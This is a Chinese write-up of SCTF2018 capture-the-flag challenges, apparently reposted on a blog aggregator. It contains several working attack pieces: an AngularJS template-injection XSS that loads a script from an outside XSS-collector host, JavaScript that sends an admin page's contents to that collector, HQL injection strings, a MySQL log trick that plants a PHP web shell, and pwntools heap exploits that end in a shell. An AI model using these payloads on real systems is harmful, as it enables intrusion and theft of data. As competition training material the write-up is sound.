SCTF2018 WriteUp

栏目: Struts · 发布时间: 6年前

内容简介:看了一下页面内引用了AngularJS 1.4.6,然后找了一下对应版本的XSS漏洞,参考文章提交留言即可触发xss,管理员那边也会触发一遍。

WEB

新的建议板

看了一下页面内引用了AngularJS 1.4.6,然后找了一下对应版本的XSS漏洞,参考文章 XSS without HTML: Client-Side Template Injection with AngularJS

1.4.0 - 1.4.9

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

SCTF2018 WriteUp

提交留言即可触发xss,管理员那边也会触发一遍。

这里留言似乎有点过滤,我用base64编码然后利用JQuery的$.getScript函数引用js文件

$.getScript('http://xsspt.com/xxxx');
编码之后
eval(atob('JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw=='));

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw==\'));}}

提交留言然后就打到管理员了

SCTF2018 WriteUp

然后发现后台并不在公网上, http://127.0.0.1:1002/admin/

构造payload开始读管理员后台

$.ajax({
	url: "/admin",
	type: "GET",
	dataType: "text",
	success: function(result) {
		var code = btoa(encodeURIComponent(result));
		xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
	},
	error: function(msg) {

	}
})

function xssPost(url, postStr) {
	var de;
	de = document.body.appendChild(document.createElement('iframe'));
	de.src = 'about:blank';
	de.height = 1;
	de.width = 1;
	de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
	de.contentDocument.forms[0].submit();
	de.style.display = 'none';
}

在js脚本里写入读取后台页面的代码,提交留言,收到 /admin 页面的内容

SCTF2018 WriteUp

在base64跟url解码之后,拿到 /admin 页面

SCTF2018 WriteUp

我们可以看到有个文件管理页面,继续修改js访问 /admin/file

SCTF2018 WriteUp

这里需要输入文件密码才能访问,我们接下来找一下文件密码

在一开始的首页里有个 min-test.js ,这里泄露了admin模板文件 view/admintest2313.html ,在这个模板中发现一个备忘录的接口

SCTF2018 WriteUp

SCTF2018 WriteUp

猜测这是在看 admintest2313 用户的备忘录,然后我们从获取到的后台页面中发现了 adminClound 这个用户名

SCTF2018 WriteUp

拿到文件密码后,构造post包访问 /admin/file

$.ajax({
	url: "/admin/file",
	type: "POST",
	data: "filepasswd=HGf%5E%2639NsslUIf%5E23",
	dataType: "text",
	success: function(result) {
		var code = btoa(encodeURIComponent(result));
		xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
	},
	error: function(msg) {

	}
})

然后直接就打到flag了

Zhuanxv

拿到题目先扫目录(emmm...),扫到 /list ,访问需要登录,然后抓到个请求 /loadimage?fileName=web_login_bg.jpg ,猜测这是个文件读取漏洞,然后再猜猜他是个 java 程序,构造路径读取 web.xml

SCTF2018 WriteUp

发现是Struts2写的站点,读一下配置文件 ../../WEB-INF/classes/struts.xml

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
	<constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>
        <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
            <result name="error">/ctfpage/login.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
        <action name="loadimage" class="com.cuitctf.action.DownloadAction">
            <result name="success" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                <param name="inputName">downloadFile</param>
            </result>
            <result name="suffix_error">/ctfpage/welcome.jsp</result>
        </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
            <interceptor-stack name="userAuth">
                <interceptor-ref name="defaultStack" />
                <interceptor-ref name="oa" />
            </interceptor-stack>

        </interceptors>
        <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
            <interceptor-ref name="userAuth">
                <param name="excludeMethods">
                    execute
                </param>
            </interceptor-ref>
            <result name="login_error">/ctfpage/login.jsp</result>
            <result name="list_error">/ctfpage/welcome.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
    </package>
</struts>

根据上面的Action路径,构造读取class文件的路径 ../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class ,逐一把上面的class文件都下载一遍,然后再读一下 ../../WEB-INF/classes/applicationContext.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
        <property name="driverClassName">
            <value>com.mysql.jdbc.Driver</value>
        </property>
        <property name="url">
            <value>jdbc:mysql://localhost:3306/sctf</value>
        </property>
        <property name="username" value="root"/>
        <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
        <property name="mappingLocations">
            <value>user.hbm.xml</value>
        </property>
        <property name="hibernateProperties">
            <props>
                <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                <prop key="hibernate.show_sql">true</prop>
            </props>
        </property>
    </bean>
    <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
        <property name="transactionManager">
            <ref bean="transactionManager"/>
        </property>
        <property name="transactionAttributes">
            <props>
                <prop key="add">PROPAGATION_REQUIRED</prop>
                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
            </props>
        </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
        <property name="hibernateTemplate">
            <ref bean="hibernateTemplate"/>
        </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
        <property name="userDao">
            <ref bean="userDAO"/>
        </property>
    </bean>
</beans>

这里是用hibernate框架执行sql,读取一下 ../../WEB-INF/classes/user.hbm.xml

<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
        "-//Hibernate/Hibernate Mapping DTD 3.0//EN"
        "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po">
    <class name="User" table="hlj_members">
        <id name="id" column="user_id">
            <generator class="identity"/>
        </id>
        <property name="name"/>
        <property name="password"/>
    </class>
    <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
        <id name="flag" column="welcometoourctf">
            <generator class="identity"/>
        </id>
        <property name="flag"/>
    </class>
</hibernate-mapping>

看样子flag在数据库里。接下来继续下载 applicationContext.xml 文件中引用的dao层跟service层的class文件

这里整理出主要的代码片段

//UserLoginAction.class

public boolean userCheck(User user) {
	List < User > userList = this.userService.loginCheck(user.getName(), user.getPassword());
	if ((userList != null) && (userList.size() == 1)) {
		return true;
	}
	addActionError("Username or password is Wrong, please check!");
	return false;
}

//UserServiceImpl.class

public List <User> loginCheck(String name, String password) {
	name = name.replaceAll(" ", "");
	name = name.replaceAll("=", "");
	Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
	Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
	if (password_matcher.find()) {
		return this.userDao.loginCheck(name, password);
	}
	return null;
}

//UserDaoImpl.class

public List < User > loginCheck(String name, String password) {
	return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}

UserServiceImpl.class 这里只检测了password的正则,name只替换了空格跟等号,正则没起作用,所以这里可以注入

在登录处 user.name 注入

user.name=1'or''like''or''like'&user.password=aaaa

这样子直接进入后台,但这不是我们的目标,我们要读取数据库里的flag。可以利用登录判断来进行盲注,获取数据

user.name=1'or(name)like'ho%25'or''like'&user.password=aaaa

然后就跑出用户名为homamamama,这不是重点,我们要读flag。由于这个是hql,很多 mysql 的特性没法用,只能根据hql的语法构建一个子查询。试了一下 (select name from User)like'%' 可以猜测读取到用户名,但是根据xml的数据表结构读取Flag表 (select flag from Flag)like'%' 却不行。

继续构造注入猜测, (select count(*) from Flag)like'1' 这个可以,说明Flag表里有一条数据。很多人都困在这一步了,读不到Flag表。这里要利用的是hql语句的子查询, (from Flag)like'%' 这样子就可以了,然后构造脚本开始跑Flag就可以了

user.name=1'or(from Flag)like'sctf{%25'or''like'&user.password=aaaa

最后获取到的flag要将花括号里的转成大写

easiest web - phpmyadmin

一开始题目很卡根本上不去,并且一直有人搅屎。

到了中午主办方终于开了备份服务器并且提升配置表示很开始。

直接使用弱口令 root/root 登录上去

尝试使用 outfile 写入一句话发现不行

SCTF2018 WriteUp

于是便想到使用日志的方法来包含我们的一句话

首先开启日志: set global general_log='on';

SCTF2018 WriteUp

修改日志路径: set global general_log_file='D:/phpstudy/www/fuhei.php';

SCTF2018 WriteUp

这时我们再查询我们的一句话,让他被记录进日志: select '<?php assert($_POST["fuhei"]);?>';

SCTF2018 WriteUp

使用菜刀连接上去后在c盘根目录找到 flag.txt

SCTF2018 WriteUp

PWN

bufoverflow_a

  • fill时存在offbynull,通过Poison null byte造成overlap
unsigned __int64 __fastcall wraaper_read_E81(__int64 a1, unsigned __int64 a2)
{
  char buf; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1uLL) <= 0 )
    {
      perror("Read faild!\n");
      exit(-1);
    }
    if ( buf == 10 )
      break;
    *(a1 + i) = buf;
  }
  *(i + a1) = 0;                                // off by null
  return __readfsqword(0x28u) ^ v5;
  • unsortbin attack 修改_IO_buf_base scanf 溢出修改malloc-hook 为magic

  • exp

    #!/usr/bin/env python
    # coding=utf-8
    from pwn import *
    context.log_level = 'debug'
    
    elf = ELF('./bufoverflow_a')
    libc = ELF('./libc.so.6')
    
    p = process('./bufoverflow_a',env={"LD_PRELOAD":'./libc.so.6'})
    p = remote('116.62.152.176', 20001)
    def alloc(size):#0x7f - 0x1000
        p.sendlineafter(">>",'1')
        p.sendlineafter("Size:",str(size))
    
    def fill(co):
        p.sendlineafter(">>",'3')
        p.recvuntil("Content:")
        p.send(co)
    
    def dele(idx):
        p.sendlineafter(">>",'2')
        p.sendlineafter("Index:",str(idx))
    
    def leak():
        p.sendlineafter(">> ",'4')
        data = p.recvuntil('\x0a')[:-1]
        return data 
    
    def pwn():
        alloc(0x100)#0
        alloc(0x100)#1
        dele(0)
        alloc(0x100)#0
        data = leak()
        libc.address = u64(data.ljust(8,'\x00')) - 0x399b58
        success('[*]libc is ' + hex(libc.address))
        dele(0)
        dele(1)
    
        alloc(0x420)
        fill('A'*0x100+'B'*0x200+p64(0x200)+'\n')
        dele(0)
        alloc(0x310)#0
        alloc(0x100)#1
        dele(0)
        alloc(0x108)#0
        fill('A'*0x108+'\n')
        alloc(0x108)#2
        alloc(0x88)#3
        dele(2)
        dele(1)
        dele(0)
        payload = 'A'*0x210 +  'B'*8 + p64(0x91) 
        alloc(1024)
        fill(payload+'\n')
        dele(3)
        dele(0)
        alloc(1024)
        un = libc.address + 0x0399900
        bk = libc.address + 0x399b58 
        fd = libc.address + 0x399c38
        payload = 'A'*0x210 + 'B'*8 + p64(0xf1)+ p64(fd)*2+"C"*0xd8
        payload += p64(0x61)+'A'*0x68 + p64(0xa1)
        fill(payload+'\n')
        alloc(0xe0)
        dele(1)
        alloc(1024)
        dele(0)
        alloc(0xe0)
        dele(0)
        alloc(1024)
        payload = 'A'*0x210 + 'B'*8 + p64(0xf1) + p64(bk) + p64(un-0x10)
        fill(payload+'\n')
        print pidof(p)
        raw_input()
        alloc(0xe0)
        lock = libc.address + 0x39b770
        vtable= libc.address + 0x396440
        magic = libc.address + 0xd6655
        payload = '\x00'*5 + p64(lock)+ p64(0)*9 + p64(vtable).ljust(0x158,"\x00")+ p64(magic)
        p.sendlineafter('>>' ,payload)
        p.interactive()
    
    pwn()

sbbs

Bctf原题

SCTF2018 WriteUp

存在任意地址写 v3 接收16个字符可以覆盖到 v4

但是8个字符覆盖刚好到 v4 ,于是后面的回车符被换成 \x00 被送到 v1 里,于是只能写 clientele 了。

SCTF2018 WriteUp

Free 后没有清空堆

这里我们申请刚 free 的堆块,只向里面写少量数据,就能泄露 fd 了,于是就能得到地址了

FILE 结构会通过 _chain 连接形成一个链表,链表头部用全局变量 _IO_list_all 表示。就会调用 _IO_OVERFLOW ,就会调用 vtable ,也就是虚表。 那么只要满足 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base 我们的虚表中的 _IO_OVERFLOW 就会调用,而且程序是通过 _IO_list_all 来查找file结构体

//prev_size,size
fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)

v3 溢出到 v4 赋值到任意地址, v3 本身的8个 bit 也是我们可以写的,于是把 one_gadget 写在了 v3 中,如果找不到地址也可以布在堆里,都是可以的。 0x6020b0v3 的地址,而 OVERFLOWvtable 的位置位于偏移 0x18 处,于是得到 0x6020b0-0x18

EXP

#!/usr/bin/env python
# coding=utf-8
#author rainbow541 by W&P
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

p = process('./baby_arena')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one = 0x4526a

def create(size,note):
    p.sendline('1')
    p.recvuntil('Pls Input your note size\n')
    p.sendline(str(size))
    p.recvuntil('Input your note\n')
    p.sendline(note)

def dele(num):
    p.sendline('2')
    p.recvuntil('Input id:\n')

#gdb.attach(p)
create(0xa8,'0'*0xa8)
create(0xa8,'1'*0xa8)
dele(0)
create(0xa8,'0')
p.recvuntil('your note is\n')
a = p.recvline()
arena = u64(a+(8-len(a))*'0')%0x1000000000000
libcc = arena - 0x3c4b30
libc.address = libcc
max_fast = arena + 7368
success("libc:"+hex(libcc))
success("global_max_fast:"+hex(max_fast))
#--------
create(0x400,'3'*0x400)
create(0x400,'4'*0x400)
create(0x400,'4'*0x400)
dele(2)
dele(3)
create(0x100,'A'*16+'\n')
p.recvuntil('your note is\n')
p.recvuntil('A'*16)
heap_base = p.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220
success('heap_base:'+hex(heap_base))


fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)

#------
create(5120,fake_file)
payload = p64(libcc + one) +p64(max_fast-8)
login(payload)#one bit \x0a > \x00 。。。。。。
dele(3)

p.sendline('4')
print pidof(p)
p.interactive()

SCTF2018 WriteUp

成功getshell

Crypto

it may contain 'flag'

n=0x1fb18fb44f4449f45ea938306c47b91f64b6c176bd24dbb35aa876f73859c90f0e1677d07430a1188176bc0b901ca7b01f6a99a7df3aec3dd41c3d80f0d17292e43940295b2aa0e8e5823ffcf9f5f448a289f2d3cb27366f907ee62d1aaeba490e892dc69dacbafa941ab7be809e1f882054e26add5892b1fcf4e9f1c443d93bf
e=0xe42a12145eaa816e2846200608080305c99468042450925789504307cbc54a20ed7071b68b067b703a1679d861795542f8cbd2d1cb4d3847d0940cac018cdb0fa729571afbe10c1b8be2dd8acd99ee48b77d53c435b9c2fed59e12e02ad8cfc2bcc46ad85534c266dcc1f3a1a03d87118eaf3f5b3eeeb3be84ad023a4bf34939
c=0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3

Wiener's attack,拿着以前写的脚本直接跑,秒出flag:https://github.com/D001UM3/CTF-RSA-tool

  CTF-RSA-tool git:(master)  cat problem.txt
n=0x1fb18fb44f4449f45ea938306c47b91f64b6c176bd24dbb35aa876f73859c90f0e1677d07430a1188176bc0b901ca7b01f6a99a7df3aec3dd41c3d80f0d17292e43940295b2aa0e8e5823ffcf9f5f448a289f2d3cb27366f907ee62d1aaeba490e892dc69dacbafa941ab7be809e1f882054e26add5892b1fcf4e9f1c443d93bf
e=0xe42a12145eaa816e2846200608080305c99468042450925789504307cbc54a20ed7071b68b067b703a1679d861795542f8cbd2d1cb4d3847d0940cac018cdb0fa729571afbe10c1b8be2dd8acd99ee48b77d53c435b9c2fed59e12e02ad8cfc2bcc46ad85534c266dcc1f3a1a03d87118eaf3f5b3eeeb3be84ad023a4bf34939
c=0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3%                                          
  CTF-RSA-tool git:(master)  python solve.py --verbose -i problem.txt
DEBUG: factor N: try past ctf primes
DEBUG: factor N: try Gimmicky Primes method
DEBUG: factor N: try Wiener's attack
DEBUG: d = 0xb28a1L
INFO: flag1sH3r3_d_ist0sma1l
➜  CTF-RSA-tool git:(master) ✗

a number problem

x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259

模数直接可以factordb分解,但是33和模数的欧拉函数不互素,所以我们先用 33/3 的模反数解密得到x^3的值,然后再爆破一下,得到x

import libnum
import gmpy2

e = 33
c = 1926041757553905692219721422025224638913707
n = 3436415358139016629092568198745009225773259
p = 3881
q = 885445853681787330351086884500131209939
phi_n = (p-1)*(q-1)
d = libnum.invmod(e/3, phi_n)
x_3 = pow(c, d, n)
print x_3

def calc(j):
    # print j
    a, b = gmpy2.iroot(x_3 + j * n, 3)
    if b == 1:
        print a
        exit()

for i in xrange(0, 100000000):
    calc(i)

ElGamal Hacker

求离散对数,谷歌discrete logarithm online 找到个在线计算的网站,直接得到私钥,然后解密

import libnum

p = 2103157897831904071864395721267
g = 12
y = 446615800949186291810252513371

c1 = 1671718365703730324362467329360
c2 = 1381742645695058198993532913043

# https://www.alpertron.com.ar/DILOG.HTM
k = 204595385545077747431008465026
assert y == pow(g, k, p)

c1 = 1671718365703730324362467329360
c2 = 1381742645695058198993532913043

print libnum.n2s(libnum.invmod(pow(c1, k, p), p) * c2 % p)

MISC

神奇的Modbus

过滤协议modbus,右键跟踪tcp流,往后看,就能看到flag了

.s.c.t.f.{.E.a.s.y._.M.d.b.u.s.}

然后去掉点,提交不对,然后把Modbus补全,就是flag了

侧信道初探

根据资料 , SPA 是根据程序运行的能量进行检测,也就是每一句命令都有对应的波图。

经过分析可知:

SCTF2018 WriteUp

这个代表了 R=2R

SCTF2018 WriteUp

这个是 if 语句

即我们只要看 if 条件之后是否有多余语句执行(产生能量)即可判断二进制数据为0或为1

只有一簇的就是0

SCTF2018 WriteUp

有两簇的就是1

SCTF2018 WriteUp

由此可得flag数据为 0110111010

神秘的交易

查找了一波IC卡资料,

根据SLE4442手册 https://wenku.baidu.com/view/a6a6fb22482fb4daa58d4bf8.html

可知一共分别进行了三次校验,分别为 0x33 0x01 0xaa 0x33 0x02 0xbb 0x33 0x03 0xcc

并且每个字节从最低位开始传输,

即为

1100110010000000xxxxxxxx, 
1100110001000000xxxxxxxx ,
1100110011000000xxxxxxxx

然后就是把Logicdata丢进logic里分析啦

根据前面的字节查找到口令数据段:

SCTF2018 WriteUp

最终得到3字节的口令 0x403110

肥宅快乐题

打游戏就给flag,不过真正的肥宅都懒得打,用Flash反编译找的flag。。。

多亏potplayer强大,能直接拖进度条跳帧。拖到后面找到了flag,但那字体1和l分不清,于是在反编译里查了附近的字段。直接定位,base64 decode,flag complete.

SCTF2018 WriteUp

Reverse

simple

反编译发现动态解密了assets中的zip文件,由于解密的dex会落地因此可以直接运行后从文件目录中pull出来 SCTF2018 WriteUp

再反编译这个 load.dexonClick 函数中接收了24个字符并以每8个字符一组构造 Square ,最后调用其中的 check 函数要求全部为True

构造方法为 new Square((v1[i + x] << 8) + v12 + 255, i / 2 + 4); 这里的i取值范围为{0, 8, 16},x取值范围为[0, 7] 即

a1 = 0x315f00ff | input[i*8+x] a2 = i/2+4

还要注意要求每组中的后一个字符大于前一个字符

于是继续查看Square内部的方法

构造方法显示每个 Square 内有5x5=25个 Point

a1inputa2turncout

Square(int arg2, int arg3) { super(); this.point = new Point[25]; this.input = arg2; this.turncout = arg3; this.initpoint(); if(this.check()) { this.turnpoint(); } }
通过 initpoint() 方法来为25个 Point 赋值 SCTF2018 WriteUp

简单来说就是从右往左逐位取值

对于 a1 而言,每个Squre如下所示

|0|1|2|3|4| |--|--|--|--|--| |1|1|1|1|1| |1|1|1|input7|input6| |input5|input4|input3|input2|input1| |input0|1|1|1|1| |1|0|1|0|1|

check方法则很简单 Point[i][i]Point[4-i][i] 皆为1即可,即两条对角线上的Point要求为1

turnpoint 也并不复杂,循环将每个 Point 左移一位,最左边的 Point 顺位移到上一行的最后一位。循环执行的次数为 turncout ,即参数 a2

函数理清以后梳理一下逻辑

目标是最终 check 成功,那么必然构造Squre时的check也必须成功,即要求每个 Squre 构造好以后 check()==True -> turnopint() -> check()==True

解题思路为首先构造符合 check()Squre ,然后按照 turnpoint 反向右移,再符合 check() 一次,此时的 Squre 为通解

再为了满足每组中input[i]<input[i+1]的条件,由通解逐步向上增加得到值

由于Point之间没有交互,我们只需要关注与input有关的8个Point即可

构造Squre脚本如下

c = [0 for i in range(25)]
l = [4, 8, 12]
a = []

def v(c):
    for i in range(5):
        c[i*5+i] = 1
        c[i*5+4-i] = 1
    for i in range(5):
        print(c[i*5:i*5+5])

def getr(c):
    return c[8:16][::-1]

v(c)
print()
for x in l:
    a.append(c[-x:] + c[:-x])

for k in a:
    v(k)
    r = getr(k)
    print("Input :")
    print(r)
    print()

得到符合要求的input通解,例如

[1, 0, 0, 1, 1] [0, 1, 0, 1, 0] [1, 0, 1, 0, 0] [0, 1, 0, 1, 0] [1, 0, 1, 0, 1] Input : [0, 0, 0, 1, 0, 1, 0, 1]

然后根据0b00010101逐步递增求解input值即可 脚本如下:

s = [0b00010101, 0b01010001, 0b00011001]
print("SCTF{", end='')
for x in s:
    l = 48
    for i in range(8):
        while((l&x)<x):
            l += 1
        print(chr(l), end='')
        l += 1
print("}")

PS:这flag是真的丑

Where is my 13th count?

运行发现只有12个球可得分,根据题目来看应该需要第13分

文件名提示CheatEngine,但运行会闪退

反编译 Cheat Engine_Data\Managed 目录下的 Assembly-CSharp.dll ,查看逻辑,发现有反调试

不过主逻辑都已经是囊中之物了,还CE个锤子呀,直接改 count 的初值为12,运行游戏吃一个球即可满足条件出现flag

PS:这flag更丑了

crackme2

java层调用了 native 函数,要求返回值为 15

在so中动态注册了 tryit 函数,但函数体为乱码,估计在 init 中动态解密

于是上动态调试,发现解密后的函数通过 fork 创建了子进程来执行计算,父进程则逐字符校验

直接抓出字符串后偏移位置即可得到flag

Script In Script

下载下来文件,观察js发现有动态解密

eval 改为 console.log 后即可在 console 中抓到解码后的函数 也可在 click 函数中的r处下断,单步跟进后逐个查看函数

function a(r) {
    return D(~r, 1)
}

function D(r, n) {
    return n ? D(r ^ n, (r & n) << 1) : r
}

function E(r, n) {
    return D(r, a(n))
}

function F(r, n) {
    var a = 0;
    while (n) {
        if (n & 1) {
            a = D(a, r)
        }
        r = r << 1;
        n = n >> 1
    }
    return a
}

function G(r, n) {
    var a = 0;
    while (r >= n) {
        r = E(r, n);
        a = D(a, 1)
    }
    return a
}

function H(r) {
    return r.length
}

function J(r, n) {
    return !(r ^ n)
}

function K(r, n) {
    return r[n]
}

function L(r) {
    if (r.length == 1) {
        return r.charCodeAt(0)
    }
}

function M(r) {
    return +r
}

function N(r) {
    return String(r)
}

function O(r, n) {
    return r + n
}

function Q(r, n, a, v) {
    for (var t = r; t <= n; t++) {
        if (a[t] != v[t - r]) {
            return false
        }
    }
    return true
}

function r(r) {
    var n = r;
    var a = H(n);
    var v = J(a, 24);
    var t = K(n, 0);
    var u = K(n, 1);
    var i = K(n, 2);
    var e = K(n, 3);
    var f = D(L(t), L(i));
    var o = E(L(t), L(u));
    var c = K(n, 6);
    var l = K(n, 7);
    var h = K(n, 16);
    var w = K(n, 17);
    var I = J(E(L(u), L(h)), 0);
    var S = J(D(L(c), L(l)), D(L(h), L(w)));
    var _ = J(E(L(u), L(c)), 0);
    var g = K(n, 21);
    var p = K(n, 22);
    var s = J(E(F(L(g), 2), G(66, L(p))), 64);
    var P = Q(9, 15, n, "Pt_In_S");
    var T = J(L(l), L("r"));
    var b = J(f, 231);
    var d = J(o, 16);
    var j = M(K(n, 5));
    var k = J(G(M(O(N(L(e)), "0")), j), 204);
    var m = M(K(n, 8));
    var q = Q(18, 20, n, "IpT");
    var x = J(E(j, m), 4);
    var y = J(F(m, m), m);
    var z = J(D(L(K(n, 4)), D(m, m)), L(K(n, 23)));
    var A = J(L(u), 99);
    var B = J(L(K(n, 23)), 125);
    var C = J(L(K(n, 22)), 33);
    return v && I && S && _ && s && P && T && b && d && k && q && x && y && z && A && B && C
}

其中核心函数为D,动态调试输入几个值测试发现该函数为求和

后面其他几个函数就很简单了,E是减法、F是乘法、G是除法

机械梳理下来求解即可

from z3 import *
a = [Int("a%d"%i) for i in range(24)]
flag = [0 for i in range(24)]
s = Solver()
s.add(a[0] + a[2] == 231,
a[0] - a[1] == 16,
a[1] - a[16] == 0,
a[6] + a[7] == a[16] + a[17],
a[1] - a[6] == 0,
a[21]*2 - 66/a[22] == 64,
a[7] == ord('r'),
(a[3]*10)/(a[5]-ord('0')) == 204,
#int(a[5])
(a[5]-ord('0')) - (a[8]-ord('0')) == 4,
#int(a[8])
(a[8]-ord('0'))*(a[8]-ord('0'))==(a[8]-ord('0')),
a[4] + (a[8]-ord('0')+a[8]-ord('0')) == a[23],
a[1] == 99,
a[23] == 125,
a[22] == 33
)
c = s.check()
print(c)
if(c==sat):
    m = s.model()
    for i in range(24):
        try:
            v = m[a[i]].as_long()
            flag[i] = v
        except:
            continue
    for i in range(9, 16):
        flag[i] = ord("Pt_In_S"[i-9])
    for i in range(18, 21):
        flag[i] = ord("IpT"[i-18])
    print(flag)
    for i in flag:
        print(chr(i), end='')

####Babymips

JEB反编译,可以看出 main 中先将输入逐字符与 (i+1) 异或,然后对 0x400b3c 进行了一次解码 每个字节按位逆序,解码后执行该函数 idc还原脚本如下

#include <idc.idc>

static main() 
{ 
   auto StartVa, SavedStartVa, StopVa, Size, i, j;
   auto v, n_v;
StartVa = 0x400b3c; 
StopVa = 0x400d14;

Size = StopVa - StartVa; 
SavedStartVa = StartVa;

for (i = 0; i < Size; i++) 
{ 
    v = Byte(StartVa);
    n_v = 0;
    for(j=0;j<8;j++)
       {n_v = n_v | (((v>>j)&1)<<(7-j));}
     PatchByte(StartVa, n_v); 
    Message("%x %x\n", v, n_v);
     MakeCode(StartVa); 
     StartVa++; 
}

AnalyzeArea(SavedStartVa, StopVa); 
Message("Decode Opcode Ok "); 
}

sub_400b3c 中对输入再次处理,先是对 (5, 37) 逐字符异或 0x30 ,然后对栈中-0x8处的变量以 (i-5)&3-12 为下标进行取值异或, -0x8-0xc=-0x14 ,即之前赋值为"sctf"的一个变量

最后 memcmp 与数组 0x412038 比较

反向处理可得flag


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Distributed Systems

Distributed Systems

Sukumar Ghosh / Chapman and Hall/CRC / 2014-7-14 / USD 119.95

Distributed Systems: An Algorithmic Approach, Second Edition provides a balanced and straightforward treatment of the underlying theory and practical applications of distributed computing. As in the p......一起来看看 《Distributed Systems》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具